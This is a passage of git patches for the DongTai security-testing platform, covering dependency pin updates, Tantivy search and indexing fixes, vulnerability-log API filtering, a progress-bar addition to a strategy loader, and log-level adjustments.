+setuptools==65.5.1 +shortuuid==1.0.11 simhash==2.1.2 -six==1.15.0; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' -sqlparse==0.4.4; python_version >= '3.5' -tablib[html,ods,xls,xlsx,yaml]==3.5.0; python_version >= '3.8' -tomli==2.0.1; python_version < '3.11' -tornado==6.3.3; python_version >= '3.8' -types-awscrt==0.19.2; python_version >= '3.7' and python_version < '4.0' +six==1.15.0 +sqlparse==0.4.4 ; python_version >= '3.5' +tablib[html,ods,xls,xlsx,yaml]==3.5.0 ; python_version >= '3.8' +tomli==2.0.1 ; python_version < '3.11' +tornado==6.3.3 ; python_version >= '3.8' +types-awscrt==0.19.2 ; python_version >= '3.7' and python_version < '4.0' types-pymysql==1.1.0.1 types-pyopenssl==23.2.0.2 types-python-dateutil==2.8.19.14 types-pytz==2023.3.1.1 types-pyyaml==6.0.12.12 types-redis==4.6.0.7 -types-requests==2.31.0.6; python_version >= '3.7' -types-s3transfer==0.7.0; python_version >= '3.7' and python_version < '4.0' +types-requests==2.31.0.6 +types-s3transfer==0.7.0 ; python_version >= '3.7' and python_version < '4.0' types-urllib3==1.26.25.14 -typing-extensions==4.8.0; python_version >= '3.8' +typing-extensions==4.8.0 typing-inspect==0.9.0 -tzdata==2023.3; python_version >= '2' -uritemplate==4.1.1; python_version >= '3.6' -urllib3==1.26.5; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' and python_version < '4' +tzdata==2023.3 ; python_version >= '2' +uritemplate==4.1.1 ; python_version >= '3.6' +urllib3==1.26.17 uwsgi==2.0.22 uwsgitop==0.11 -vine==5.0.0; python_version >= '3.6' +vine==5.0.0 ; python_version >= '3.6' wcwidth==0.2.8 xlrd==2.0.1 xlwt==1.3.0 -zope.event==5.0; python_version >= '3.7' -zope.interface==6.1; python_version >= '3.7' +zope.event==5.0 ; python_version >= '3.7' +zope.interface==6.1 ; python_version >= '3.7' From 0a4c06ceaaccd146ac96ea29e1493a80a231a935 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Mon, 9 Oct 2023 18:31:47 +0800 Subject: [PATCH 53/92] build(deps): fix deps . --- .github/actions/setup-python/action.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/actions/setup-python/action.yml b/.github/actions/setup-python/action.yml index 291813c0d..493578625 100644 --- a/.github/actions/setup-python/action.yml +++ b/.github/actions/setup-python/action.yml @@ -18,7 +18,7 @@ runs: - name: Install dependencies shell: bash run: | - sudo apt-get install build-essential cmake ninja-build python3-dev cython3 pybind11-dev libre2-dev -y + sudo apt-get install build-essential cmake ninja-build python3-dev cython3 pybind11-dev libre2-dev libsasl2-dev python3-dev libldap2-dev libssl-dev -y python -m pip install --upgrade pip pip install wheel maturin pip install -r requirements.txt From 1ab855b19e844d8e5044d124473239269dcd4e47 Mon Sep 17 00:00:00 2001 From: st1020 Date: Mon, 9 Oct 2023 18:43:38 +0800 Subject: [PATCH 54/92] fix: tantivy search error --- dongtai_web/aggr_vul/app_vul_list.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/dongtai_web/aggr_vul/app_vul_list.py b/dongtai_web/aggr_vul/app_vul_list.py index 08c6005d8..3e7e65685 100644 --- a/dongtai_web/aggr_vul/app_vul_list.py +++ b/dongtai_web/aggr_vul/app_vul_list.py @@ -233,7 +233,9 @@ def post(self, request): index = tantivy_index() searcher = index.searcher() query = index.parse_query(tantivy_query_str, VUL_TANTIVY_FIELDS) - for best_score, best_doc_address in searcher.search(query, 3).hits: + for best_score, best_doc_address in searcher.search( + query, limit=page_size, offset=begin_num + ).hits: best_doc = searcher.doc(best_doc_address) ids.update(best_doc["id"]) id_score.append((best_doc["id"][0], best_score)) From 4c54834fa5315ec6931aca46bf540327b9dcfcd5 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Mon, 9 Oct 2023 18:50:35 +0800 Subject: [PATCH 55/92] build(deps): fix deps . --- dongtai_conf/settings.py | 5 +++-- dongtai_web/views/user_info.py | 3 +++ 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/dongtai_conf/settings.py b/dongtai_conf/settings.py index b314b0273..38e631135 100644 --- a/dongtai_conf/settings.py +++ b/dongtai_conf/settings.py @@ -1003,7 +1003,7 @@ def safe_execute(default, exception, function, *args): try: TANTIVY_INDEX_PATH = config.get("tantivy", "index_path") except Exception: - TANTIVY_INDEX_PATH = os.path.join(TMP_COMMON_PATH, "tantivy") + TANTIVY_INDEX_PATH = urljoin(TMP_COMMON_PATH, "tantivy") ELASTICSEARCH_STATE = config.get("elastic_search", "enable") == "true" @@ -1099,5 +1099,6 @@ def set_asyncio_policy(): AUTH_LDAP_BIND_PASSWORD = config.get("ldap", "ldap_bind_password", fallback="") AUTH_LDAP_ALWAYS_UPDATE_USER = False - AUTH_LDAP_READY = AUTH_LDAP_SERVER_URI != "" +# useless +AUTH_LDAP_USER_DN_TEMPLATE = "uid=%(user)s,ou=users,dc=example,dc=com" diff --git a/dongtai_web/views/user_info.py b/dongtai_web/views/user_info.py index 2f798e4fd..13fd244e7 100644 --- a/dongtai_web/views/user_info.py +++ b/dongtai_web/views/user_info.py @@ -37,7 +37,10 @@ def get(self, request: Request): if group.name == "system_admin" else 0, "role_name": "" if group is None else group.name, + "role_id": user.role_id, "sca_setup": not SCA_SETUP, "enable_totp": bool(user.totp_secret), + "is_wait_binding": user.role_id == 11, + "is_bind_ldap": bool(user.ldap_dn), } ) From 63920bc7d5d7caf11748ae21d4ac5abe75b3fb87 Mon Sep 17 00:00:00 2001 From: st1020 Date: Tue, 10 Oct 2023 10:54:52 +0800 Subject: [PATCH 56/92] fix: tantivy search error --- dongtai_common/models/vulnerablity.py | 23 +++++--- dongtai_web/aggr_vul/app_vul_list.py | 19 +++++-- dongtai_web/aggr_vul/tasks.py | 78 ++++++++++++++------------- 3 files changed, 74 insertions(+), 46 deletions(-) diff --git a/dongtai_common/models/vulnerablity.py b/dongtai_common/models/vulnerablity.py index 23ff4c372..536f6ebc3 100644 --- a/dongtai_common/models/vulnerablity.py +++ b/dongtai_common/models/vulnerablity.py @@ -1,5 +1,6 @@ import logging import os.path +import shutil import uuid import tantivy @@ -208,18 +209,26 @@ class Django: def tantivy_schema() -> tantivy.Schema: schema_builder = tantivy.SchemaBuilder() - schema_builder.add_integer_field("id", stored=True, indexed=True) + schema_builder.add_unsigned_field("id", stored=True, indexed=True, fast=True) schema_builder.add_text_field("title", stored=True, tokenizer_name="jieba") - schema_builder.add_integer_field("project_id", stored=True, indexed=True) - schema_builder.add_integer_field("project_version_id", stored=True, indexed=True) + schema_builder.add_unsigned_field("project_id", stored=True, indexed=True, fast=True) + schema_builder.add_unsigned_field("project_version_id", stored=True, indexed=True, fast=True) schema_builder.add_text_field("uri", stored=True, tokenizer_name="raw") - schema_builder.add_integer_field("strategy_id", stored=True, indexed=True) - schema_builder.add_integer_field("level_id", stored=True, indexed=True) - schema_builder.add_integer_field("status_id", stored=True, indexed=True) + schema_builder.add_unsigned_field("strategy_id", stored=True, indexed=True, fast=True) + schema_builder.add_unsigned_field("level_id", stored=True, indexed=True, fast=True) + schema_builder.add_unsigned_field("status_id", stored=True, indexed=True, fast=True) + schema_builder.add_unsigned_field("first_time", stored=True, indexed=True, fast=True) + schema_builder.add_unsigned_field("latest_time", stored=True, indexed=True, fast=True) return schema_builder.build() def tantivy_index() -> tantivy.Index: path = os.path.join(TANTIVY_INDEX_PATH, "vulnerability_index") os.makedirs(path, exist_ok=True) - return tantivy.Index(tantivy_schema(), path=path) + try: + return tantivy.Index(tantivy_schema(), path=path) + except Exception: + logger.exception("can not get open tantivy index, try remove index file and reopen") + shutil.rmtree(path) + os.makedirs(path, exist_ok=True) + return tantivy.Index(tantivy_schema(), path=path) diff --git a/dongtai_web/aggr_vul/app_vul_list.py b/dongtai_web/aggr_vul/app_vul_list.py index 3e7e65685..7b0de5dff 100644 --- a/dongtai_web/aggr_vul/app_vul_list.py +++ b/dongtai_web/aggr_vul/app_vul_list.py @@ -4,6 +4,7 @@ from typing import Any import pymysql +import tantivy from django.core.cache import cache from django.db.models import Case, Count, F, When from django.utils.translation import gettext_lazy as _ @@ -233,9 +234,21 @@ def post(self, request): index = tantivy_index() searcher = index.searcher() query = index.parse_query(tantivy_query_str, VUL_TANTIVY_FIELDS) - for best_score, best_doc_address in searcher.search( - query, limit=page_size, offset=begin_num - ).hits: + + if ser.validated_data["order_type"]: + result = searcher.search( + query, + limit=page_size, + offset=begin_num, + order_by_field=order_type, + order=tantivy.Order.Desc + if ser.validated_data["order_type_desc"] + else tantivy.Order.Asc, + ) + else: + result = searcher.search(query, limit=page_size, offset=begin_num) + + for best_score, best_doc_address in result.hits: best_doc = searcher.doc(best_doc_address) ids.update(best_doc["id"]) id_score.append((best_doc["id"][0], best_score)) diff --git a/dongtai_web/aggr_vul/tasks.py b/dongtai_web/aggr_vul/tasks.py index 398f46543..9f393d50a 100644 --- a/dongtai_web/aggr_vul/tasks.py +++ b/dongtai_web/aggr_vul/tasks.py @@ -25,45 +25,51 @@ def update_vul_tantivy_index_receiver(sender, instance, **kwargs): lock_expiry=20, ) def update_vul_tantivy_index(): - logger.info("Start update vul tantivy index") if not TANTIVY_STATE: return - index = tantivy_index() - writer = index.writer() - writer.delete_all_documents() + try: + logger.info("Start update vul tantivy index") + index = tantivy_index() + writer = index.writer() + writer.delete_all_documents() - queryset = IastVulnerabilityModel.objects.filter(is_del=0, project_id__gt=0) - fields = [ - "id", - "project_id", - "project_version_id", - "uri", - "strategy_id", - "level_id", - "status_id", - "http_method", - "strategy__vul_name", - "taint_position", - ] - vul_data = list(queryset.values(*tuple(fields))) - for vul in vul_data: - title = f"{vul['uri']} {vul['http_method']} 出现 {vul['strategy__vul_name']}" - if vul["taint_position"]: - title += " 位置:" + vul["taint_position"] + queryset = IastVulnerabilityModel.objects.filter(is_del=0, project_id__gt=0) + fields = [ + "id", + "project_id", + "project_version_id", + "uri", + "strategy_id", + "level_id", + "status_id", + "http_method", + "strategy__vul_name", + "taint_position", + "first_time", + "latest_time", + ] + vul_data = list(queryset.values(*tuple(fields))) + for vul in vul_data: + title = f"{vul['uri']} {vul['http_method']} 出现 {vul['strategy__vul_name']}" + if vul["taint_position"]: + title += " 位置:" + vul["taint_position"] - writer.add_document( - tantivy.Document( - id=vul["id"], - title=title, - project_id=vul["project_id"], - project_version_id=vul["project_version_id"], - uri=vul["uri"], - strategy_id=vul["strategy_id"], - level_id=vul["level_id"], - status_id=vul["status_id"], - ) - ) + doc = tantivy.Document() + doc.add_unsigned("id", vul["id"]) + doc.add_text("title", title) + doc.add_unsigned("project_id", vul["project_id"]) + doc.add_unsigned("project_version_id", vul["project_version_id"]) + doc.add_text("uri", vul["uri"]) + doc.add_unsigned("strategy_id", vul["strategy_id"]) + doc.add_unsigned("level_id", vul["level_id"]) + doc.add_unsigned("status_id", vul["status_id"]) + doc.add_unsigned("first_time", vul["first_time"]) + doc.add_unsigned("latest_time", vul["latest_time"]) - writer.commit() + writer.add_document(doc) - logger.info("Update vul tantivy index success!") + writer.commit() + + logger.info("Update vul tantivy index success!") + except Exception: + logger.exception("Create index error") From 588622b8480565a614241237576eabf37c5b86dc Mon Sep 17 00:00:00 2001 From: st1020 Date: Tue, 10 Oct 2023 11:10:00 +0800 Subject: [PATCH 57/92] fix: tantivy search error --- dongtai_web/aggr_vul/tasks.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/dongtai_web/aggr_vul/tasks.py b/dongtai_web/aggr_vul/tasks.py index 9f393d50a..1a561a88f 100644 --- a/dongtai_web/aggr_vul/tasks.py +++ b/dongtai_web/aggr_vul/tasks.py @@ -16,6 +16,8 @@ @receiver(post_save, sender=IastVulnerabilityModel, dispatch_uid="update_vul_tantivy_index") @receiver(m2m_changed, sender=IastVulnerabilityModel, dispatch_uid="update_vul_tantivy_index") def update_vul_tantivy_index_receiver(sender, instance, **kwargs): + if not TANTIVY_STATE: + return update_vul_tantivy_index.apply_async(countdown=120) From bc765a4974c7e2bc6561435c26f2217f4743cf89 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Tue, 10 Oct 2023 14:59:42 +0800 Subject: [PATCH 58/92] feat/msg_status_log --- dongtai_web/views/vul_status_msg.py | 2 +- dongtai_web/vul_log/vul_log_view.py | 19 ++++++++++++++++--- 2 files changed, 17 insertions(+), 4 deletions(-) diff --git a/dongtai_web/views/vul_status_msg.py b/dongtai_web/views/vul_status_msg.py index bd0cf7e87..d75df285e 100644 --- a/dongtai_web/views/vul_status_msg.py +++ b/dongtai_web/views/vul_status_msg.py @@ -29,7 +29,7 @@ class VulStatusMsg(UserEndPoint): response_schema=_ResponseSerializer, ) def get(self, request, vul_id): - latest_log_msg = IastVulLog.objects.filter(msg_type=MessageTypeChoices.CHANGE_STATUS).first() + latest_log_msg = IastVulLog.objects.filter(vul_id=vul_id, msg_type=MessageTypeChoices.CHANGE_STATUS).last() if not latest_log_msg or "addtional_msg" not in latest_log_msg.meta_data: return R.success(data="") return R.success(data=latest_log_msg.meta_data["addtional_msg"]) diff --git a/dongtai_web/vul_log/vul_log_view.py b/dongtai_web/vul_log/vul_log_view.py index 86f439d85..8428f385e 100644 --- a/dongtai_web/vul_log/vul_log_view.py +++ b/dongtai_web/vul_log/vul_log_view.py @@ -4,8 +4,15 @@ from rest_framework import viewsets from dongtai_common.endpoint import R, UserEndPoint -from dongtai_common.models.iast_vul_log import IastVulLog +from dongtai_common.models.iast_vul_log import IastVulLog, MessageTypeChoices +from django.db.models import Q from dongtai_web.common import VulType +from rest_framework import serializers + + +class VulLogListArgsSerializer(serializers.Serializer): + vul_type = serializers.IntegerField(help_text="漏洞类型") + msg_type = serializers.IntegerField(required=False, help_text="消息类型") class VulLogViewSet(UserEndPoint, viewsets.ViewSet): @@ -13,6 +20,7 @@ class VulLogViewSet(UserEndPoint, viewsets.ViewSet): description = _("vul-log") @extend_schema( + parameters=[VulLogListArgsSerializer], tags=[_("Vulnerability")], summary="漏洞日志", ) @@ -20,9 +28,14 @@ def list(self, request, vul_id): data = [] auth_users = self.get_auth_users(request.user) vul_type = VulType(int(request.query_params.get("vul_type", 1))) + msg_type = int(request.query_params.get("msg_type", 1)) + q = Q(user__in=auth_users) if vul_type == VulType.APPLICATION: - data = IastVulLog.objects.filter(vul_id=vul_id, user__in=auth_users).all() + q = q & Q(vul_id=vul_id) if vul_type == VulType.ASSET: - data = IastVulLog.objects.filter(asset_vul_id=vul_id, user__in=auth_users).all() + q = q & Q(asset_vul_id=vul_id) + if "msg_type" in request.query_params and msg_type: + q = q & Q(msg_type=msg_type) + data = IastVulLog.objects.filter(q).all() return R.success([model_to_dict(i) for i in data]) From 70d87a26adcf07bf727263d8f41c389b4fb35c84 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Tue, 10 Oct 2023 15:02:13 +0800 Subject: [PATCH 59/92] feat/msg_status_log --- dongtai_web/vul_log/vul_log_view.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/dongtai_web/vul_log/vul_log_view.py b/dongtai_web/vul_log/vul_log_view.py index 8428f385e..51d252420 100644 --- a/dongtai_web/vul_log/vul_log_view.py +++ b/dongtai_web/vul_log/vul_log_view.py @@ -1,13 +1,12 @@ +from django.db.models import Q from django.forms.models import model_to_dict from django.utils.translation import gettext_lazy as _ from drf_spectacular.utils import extend_schema -from rest_framework import viewsets +from rest_framework import serializers, viewsets from dongtai_common.endpoint import R, UserEndPoint -from dongtai_common.models.iast_vul_log import IastVulLog, MessageTypeChoices -from django.db.models import Q +from dongtai_common.models.iast_vul_log import IastVulLog from dongtai_web.common import VulType -from rest_framework import serializers class VulLogListArgsSerializer(serializers.Serializer): From e9dfb9eea98f1c192383723db23dcff3a7b7281c Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Tue, 10 Oct 2023 19:00:43 +0800 Subject: [PATCH 60/92] feat load vul fix --- .../management/commands/load_hook_strategy.py | 20 ++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) diff --git a/deploy/commands/management/commands/load_hook_strategy.py b/deploy/commands/management/commands/load_hook_strategy.py index 3acf6c4fc..81ca774d0 100644 --- a/deploy/commands/management/commands/load_hook_strategy.py +++ b/deploy/commands/management/commands/load_hook_strategy.py @@ -12,6 +12,7 @@ from dongtai_common.utils.validate import save_hook_stratefile_sha1sum from dongtai_conf.settings import BASE_DIR from dongtai_protocol.views.hook_profiles import LANGUAGE_DICT +from tqdm import tqdm class Command(BaseCommand): @@ -29,7 +30,7 @@ def handle(self, *args, **options): with open(os.path.join(POLICY_DIR, "sensitive_info_strategy.json")) as fp: full_strategies.extend(json.load(fp, object_pairs_hook=OrderedDict)) strategy_dict = {} - for strategy in full_strategies: + for strategy in tqdm(full_strategies, desc="strategy"): if IastStrategyModel.objects.filter( vul_type=strategy["vul_type"], system_type=1, @@ -85,7 +86,7 @@ def handle(self, *args, **options): with open(os.path.join(POLICY_DIR, f"{k.lower()}_hooktype.json")) as fp: hooktypes = json.load(fp, object_pairs_hook=OrderedDict) hooktype_dict = {} - for hook_type in hooktypes: + for hook_type in tqdm(hooktypes, desc="hook_type"): if HookType.objects.filter( value=hook_type["value"], type=hook_type["type"], @@ -119,7 +120,7 @@ def handle(self, *args, **options): HookStrategy.objects.filter(language_id=v, system_type=1).update(system_type=0) with open(os.path.join(POLICY_DIR, f"{k.lower()}_full_policy.json")) as fp: full_policy = json.load(fp, object_pairs_hook=OrderedDict) - for policy in full_policy: + for policy in tqdm(full_policy, desc="policy"): if policy["type"] == 4: if policy["value"] not in strategy_dict: continue @@ -189,4 +190,17 @@ def handle(self, *args, **options): ) sensitive_info_rule_ids.append(obj.pk) IastSensitiveInfoRule.objects.filter(~Q(id__in=sensitive_info_rule_ids), system_type=1).delete() + update_fix_vul_dict = {} + if os.path.exists(os.path.join(POLICY_DIR, "vul_fix_extend.json")): + with open(os.path.join(POLICY_DIR, "vul_fix_extend.json")) as fp: + update_fix_vul_dict = json.load(fp, object_pairs_hook=OrderedDict) + need_update_fix_vul_strategies = IastStrategyModel.objects.filter( + vul_type__in=list(update_fix_vul_dict.keys()), system_type=1 + ).all() + for strategy in tqdm(need_update_fix_vul_strategies, desc="vul_fix"): + if strategy.vul_type in update_fix_vul_dict: + update_content = update_fix_vul_dict[strategy.vul_type] + strategy.vul_fix = update_content["vul_fix"] + strategy.vul_fix_zh = update_content["vul_fix"] + strategy.vul_fix_en = update_content["vul_fix"] self.stdout.write(self.style.SUCCESS("Successfully load strategy .")) From 44af24d7d6e2e4786d880e554694a51f83a62449 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Wed, 11 Oct 2023 10:14:28 +0800 Subject: [PATCH 61/92] feat load vul fix --- deploy/commands/management/commands/load_hook_strategy.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deploy/commands/management/commands/load_hook_strategy.py b/deploy/commands/management/commands/load_hook_strategy.py index 81ca774d0..2f672f72e 100644 --- a/deploy/commands/management/commands/load_hook_strategy.py +++ b/deploy/commands/management/commands/load_hook_strategy.py @@ -4,6 +4,7 @@ from django.core.management.base import BaseCommand from django.db.models import Q +from tqdm import tqdm from dongtai_common.models.hook_strategy import HookStrategy from dongtai_common.models.hook_type import HookType @@ -12,7 +13,6 @@ from dongtai_common.utils.validate import save_hook_stratefile_sha1sum from dongtai_conf.settings import BASE_DIR from dongtai_protocol.views.hook_profiles import LANGUAGE_DICT -from tqdm import tqdm class Command(BaseCommand): From 3b154160d2e6cbaecc01ebb98f65ccb436f5060f Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Wed, 11 Oct 2023 10:18:07 +0800 Subject: [PATCH 62/92] feat load vul fix --- Pipfile | 1 + Pipfile.lock | 10 +++++++++- 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/Pipfile b/Pipfile index dd75e78dc..30823e751 100644 --- a/Pipfile +++ b/Pipfile @@ -96,6 +96,7 @@ more-itertools = "*" pyotp = "~=2.9.0" qrcode = "~=7.4" django-auth-ldap = "==4.6.0" +tqdm = "*" [dev-packages] diff --git a/Pipfile.lock b/Pipfile.lock index 9b381e0d0..e7831b3c7 100644 --- a/Pipfile.lock +++ b/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "f4caca89775b3056c863e1088babb5e9549908d2bcb9bacaae09b826d5e9e54f" + "sha256": "e765376efbd5d0a6e8a22c384e7e008024af5a7d8eb0768db286b7524078e15e" }, "pipfile-spec": 6, "requires": { @@ -1951,6 +1951,14 @@ "markers": "python_version >= '3.8'", "version": "==6.3.3" }, + "tqdm": { + "hashes": [ + "sha256:d302b3c5b53d47bce91fea46679d9c3c6508cf6332229aa1e7d8653723793386", + "sha256:d88e651f9db8d8551a62556d3cff9e3034274ca5d66e93197cf2490e2dcb69c7" + ], + "index": "pypi", + "version": "==4.66.1" + }, "types-awscrt": { "hashes": [ "sha256:477a14565909312fe1de70d0b301548e83c038f436b8a1d7c83729e87cdd0b85", From 74ffdecebfbacc134ac7bd067ad5220687a4d15f Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Wed, 11 Oct 2023 10:21:54 +0800 Subject: [PATCH 63/92] feat load vul fix --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 680ac925c..5ed92cea5 100644 --- a/requirements.txt +++ b/requirements.txt @@ -135,6 +135,7 @@ sqlparse==0.4.4 ; python_version >= '3.5' tablib[html,ods,xls,xlsx,yaml]==3.5.0 ; python_version >= '3.8' tomli==2.0.1 ; python_version < '3.11' tornado==6.3.3 ; python_version >= '3.8' +tqdm==4.66.1 types-awscrt==0.19.2 ; python_version >= '3.7' and python_version < '4.0' types-pymysql==1.1.0.1 types-pyopenssl==23.2.0.2 From 029872a59ccded147e9dbfca6797eee8c4be0a13 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Wed, 11 Oct 2023 12:22:59 +0800 Subject: [PATCH 64/92] feat load vul fix --- dongtai_web/vul_log/vul_log_view.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/dongtai_web/vul_log/vul_log_view.py b/dongtai_web/vul_log/vul_log_view.py index 51d252420..28450d3fc 100644 --- a/dongtai_web/vul_log/vul_log_view.py +++ b/dongtai_web/vul_log/vul_log_view.py @@ -7,6 +7,7 @@ from dongtai_common.endpoint import R, UserEndPoint from dongtai_common.models.iast_vul_log import IastVulLog from dongtai_web.common import VulType +from rest_framework.serializers import ValidationError class VulLogListArgsSerializer(serializers.Serializer): @@ -25,6 +26,12 @@ class VulLogViewSet(UserEndPoint, viewsets.ViewSet): ) def list(self, request, vul_id): data = [] + ser = VulLogListArgsSerializer(data=request.GET) + try: + if ser.is_valid(True): + pass + except ValidationError as e: + return R.failure(data=e.detail) auth_users = self.get_auth_users(request.user) vul_type = VulType(int(request.query_params.get("vul_type", 1))) msg_type = int(request.query_params.get("msg_type", 1)) From f47e67a60a1fea8877ffe802ce1380d73e9d8700 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Wed, 11 Oct 2023 12:24:43 +0800 Subject: [PATCH 65/92] feat load vul fix --- dongtai_web/vul_log/vul_log_view.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/dongtai_web/vul_log/vul_log_view.py b/dongtai_web/vul_log/vul_log_view.py index 28450d3fc..fafe0e232 100644 --- a/dongtai_web/vul_log/vul_log_view.py +++ b/dongtai_web/vul_log/vul_log_view.py @@ -3,11 +3,11 @@ from django.utils.translation import gettext_lazy as _ from drf_spectacular.utils import extend_schema from rest_framework import serializers, viewsets +from rest_framework.serializers import ValidationError from dongtai_common.endpoint import R, UserEndPoint from dongtai_common.models.iast_vul_log import IastVulLog from dongtai_web.common import VulType -from rest_framework.serializers import ValidationError class VulLogListArgsSerializer(serializers.Serializer): From 2e1d33891333a6b64913065317aff7061b6c506f Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Wed, 11 Oct 2023 16:14:33 +0800 Subject: [PATCH 66/92] feat: new metric handler. --- dongtai_web/vul_log/vul_log_view.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/dongtai_web/vul_log/vul_log_view.py b/dongtai_web/vul_log/vul_log_view.py index fafe0e232..6d9ab1089 100644 --- a/dongtai_web/vul_log/vul_log_view.py +++ b/dongtai_web/vul_log/vul_log_view.py @@ -11,8 +11,8 @@ class VulLogListArgsSerializer(serializers.Serializer): - vul_type = serializers.IntegerField(help_text="漏洞类型") - msg_type = serializers.IntegerField(required=False, help_text="消息类型") + vul_type = serializers.IntegerField(min_value=1, max_value=2, help_text="漏洞类型") + msg_type = serializers.IntegerField(min_value=1, max_value=5, required=False, help_text="消息类型") class VulLogViewSet(UserEndPoint, viewsets.ViewSet): From 976023baff7e077c93d29bd27284b0eae50fcc25 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Mon, 16 Oct 2023 12:07:13 +0800 Subject: [PATCH 67/92] fix: change log level. --- dongtai_engine/tasks.py | 8 ++++---- dongtai_protocol/report/report_handler_factory.py | 2 +- dongtai_protocol/views/agent_register.py | 4 ++-- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/dongtai_engine/tasks.py b/dongtai_engine/tasks.py index f1eb9ee06..95358cb7e 100644 --- a/dongtai_engine/tasks.py +++ b/dongtai_engine/tasks.py @@ -214,7 +214,7 @@ def search_vul_from_method_pool(self, method_pool_sign, agent_id, retryable=Fals else: logger.info(f"漏洞检测超过最大重试次数,错误原因:{e}") except Exception as e: - logger.error(f"漏洞检测出错,方法池 {method_pool_sign}. 错误原因:{e}", exc_info=e) + logger.info(f"漏洞检测出错,方法池 {method_pool_sign}. 错误原因:{e}", exc_info=e) @shared_task(queue="dongtai-replay-vul-scan") @@ -237,7 +237,7 @@ def search_vul_from_replay_method_pool(method_pool_id): search_and_save_vul(engine, method_pool_model, None, strategy) logger.info("重放数据漏洞检测成功") except Exception as e: - logger.error(f"重放数据漏洞检测出错,方法池 {method_pool_id}. 错误原因:{e}") + logger.info(f"重放数据漏洞检测出错,方法池 {method_pool_id}. 错误原因:{e}") # def load_methods_from_strategy(strategy_id): @@ -378,7 +378,7 @@ def clear_error_log(): count = IastErrorlog.objects.filter(dt__lt=(timestamp - out_date_timestamp)).delete() logger.info(f"日志清理成功,共{count}条") except Exception as e: - logger.error(f"日志清理失败,错误详情:{e}") + logger.warning(f"日志清理失败,错误详情:{e}") @shared_task(queue="dongtai-periodic-task") @@ -523,7 +523,7 @@ def vul_recheck(): try: headers = base64.b64encode("\n".join(header_raw).encode("raw_unicode_escape")) except Exception: - logger.error(f'请求头解析失败,漏洞ID: {vulnerability["id"]}') + logger.warning(f'请求头解析失败,漏洞ID: {vulnerability["id"]}') elif position == "PATH" and taint_value: # 检查path,替换 diff --git a/dongtai_protocol/report/report_handler_factory.py b/dongtai_protocol/report/report_handler_factory.py index fc6fb373a..ca8471d91 100644 --- a/dongtai_protocol/report/report_handler_factory.py +++ b/dongtai_protocol/report/report_handler_factory.py @@ -71,7 +71,7 @@ def wrapper(handler): host = settings.config.get("log_service", "host") port = settings.config.getint("log_service", "port") if not host or not port: - logger.error("log service must config host and post") + logger.info("log service must config host and post") cls.log_service_disabled = True srv = LogService(host, port) if srv.create_socket(): diff --git a/dongtai_protocol/views/agent_register.py b/dongtai_protocol/views/agent_register.py index 0e094e8bf..d81e3ad3a 100644 --- a/dongtai_protocol/views/agent_register.py +++ b/dongtai_protocol/views/agent_register.py @@ -332,7 +332,7 @@ def post(self, request: Request): return R.success(data={"id": agent_id, "coreAutoStart": core_auto_start}) except Exception as e: - logger.error(f"探针注册失败,原因:{e}", exc_info=True) + logger.info(f"探针注册失败,原因:{e}", exc_info=True) return R.failure(msg="探针注册失败") @staticmethod @@ -407,7 +407,7 @@ def get_ipaddress(network: str): except KeyError: return "" except Exception as e: - logger.error(e, exc_info=True) + logger.info(e, exc_info=True) return "" else: return res From 6e9e67b0cdd683908bbc66344de29ac182760b64 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Mon, 16 Oct 2023 18:18:56 +0800 Subject: [PATCH 68/92] fix: load hook strategy with dup data. --- deploy/commands/management/commands/load_hook_strategy.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/deploy/commands/management/commands/load_hook_strategy.py b/deploy/commands/management/commands/load_hook_strategy.py index 3acf6c4fc..15b2a71c5 100644 --- a/deploy/commands/management/commands/load_hook_strategy.py +++ b/deploy/commands/management/commands/load_hook_strategy.py @@ -153,7 +153,10 @@ def handle(self, *args, **options): ): # 如果已经存在规则,设置为系统规则,跳过创建 hook_strategy_obj = HookStrategy.objects.filter( - value=hook_strategy["value"], type=hook_strategy["type"], language_id=v + value=hook_strategy["value"], + type=hook_strategy["type"], + language_id=v, + enable__in=(0, 1), # 兼容假删除 ).get() hook_strategy_obj.system_type = 1 hook_strategy_obj.modified = True From aa598d6bd711c88ba9e1e5ba455fca96f5c06682 Mon Sep 17 00:00:00 2001 From: st1020 Date: Tue, 17 Oct 2023 14:39:28 +0800 Subject: [PATCH 69/92] fix: tantivy path error --- dongtai_conf/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/dongtai_conf/settings.py b/dongtai_conf/settings.py index 38e631135..eb60d1ca9 100644 --- a/dongtai_conf/settings.py +++ b/dongtai_conf/settings.py @@ -1003,7 +1003,7 @@ def safe_execute(default, exception, function, *args): try: TANTIVY_INDEX_PATH = config.get("tantivy", "index_path") except Exception: - TANTIVY_INDEX_PATH = urljoin(TMP_COMMON_PATH, "tantivy") + TANTIVY_INDEX_PATH = 